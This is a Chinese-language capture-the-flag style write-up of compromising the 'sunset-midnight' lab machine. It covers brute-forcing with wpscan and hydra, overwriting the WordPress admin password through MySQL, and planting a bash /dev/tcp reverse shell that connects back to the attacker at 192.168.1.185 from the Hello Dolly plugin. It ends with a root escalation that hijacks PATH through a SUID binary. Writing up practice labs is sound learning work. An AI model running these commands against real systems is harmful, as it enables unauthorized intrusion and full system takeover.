前言
再来一个靶机,做完这个最近换点东西写,感觉这些靶机做多了也是套路,之后做的整点难度高点的,比如这个靶机难度比之前高点,学的东西也多一点。
正文
上来老传统,收集一波信息
kali:192.168.1.185
靶机:192.168.1.242
靶机开放22,80,3306端口
打开web页面,url变为http://sunset-midnight/
,路径/etc/hosts
修改下host信息,再次打开web页面,发现是wordpress
搭建的,用wpscan
扫一下
wpscan --url http://sunset-midnight/ -e
没有值得关注的部分,发现一个用户名admin
,wpscan
尝试爆破一下
wpscan --url http://sunset-midnight/ -U admin -P /usr/share/wordlists/rockyou.txt
在爆破的同时查看下其他突破点,靶机开放3306mysql端口,用hydra
爆破下root
用户密码
hydra 192.168.1.242 mysql -l root -P /usr/share/wordlists/rockyou.txt
爆破出来密码为robert
,连接一波
mysql -u root -p -h sunset-midnight
在wordpress_db
数据库中的wp_users
表中看到admin用户密码
这里密码难以破解,可以update更新一个新的密码MD5覆盖掉原来密码
这个时候就可以登陆wordpress了,可以通过Plugins中的Plugin Editor中编辑插件,加入一个反弹shell,这里选择Hello Dolly,在代码前加入system("/bin/bash -c 'bash -i &> /dev/tcp/192.168.1.185/9527 0>&1'");
选择Update File,在本地设置好监听,然后在Installed Plugins中将Hello Dolly点击Activate
成功反弹出一个www-data的shell,在shell中寻找有用信息时,在网站根目录下的wordpress目录看到wp-config.php,在其中看到一个账户密码
正好在/home/路径下也看到靶机上有个jose用户,尝试是否用密码复用,ssh连接一下
成功连上,获取到了jose权限
这个时候,靶机已经做到最后一步——提权到root用户,这个靶机用到了SUID提权的方式,这个之前没有学习过,趁此机会学习了一波
找一下具有SUID权限的文件,这个看到这个/usr/bin/status
这个文件有点问题,拉下来反汇编看下
了解到了/usr/bin/status
这个文件的内容,接下来利用其获取到root权限
首先在/tmp
目录下创建一个service文件,写入bash
echo "/bin/bash" > /tmp/service
然后给与service文件执行权限
chmod u+x /tmp/service
设置环境变量加入/tmp/
目录
export PATH=/tmp:$PATH
然后执行/bin/status
成功获取到了root权限,取得flag
总结
这个靶机整体难度比之前高一点,练习这个靶机也学习到了很多,在web没有突破口的时候,尝试爆破3306端口,取得了root权限的数据库,同时覆盖掉wordpress的用户密码,进入了web端的后台管理界面,因为是admin用户,就可以对插件代码进行修改,加入了反弹shell,本地就获取到靶机的低权限shell,对网站配置文件的查看获取到一个靶机用户shell,然后用SUID提权到root。靶机整体思路比较明晰,也验证了安全是整体的,只要有一个点不安全就能突破防线。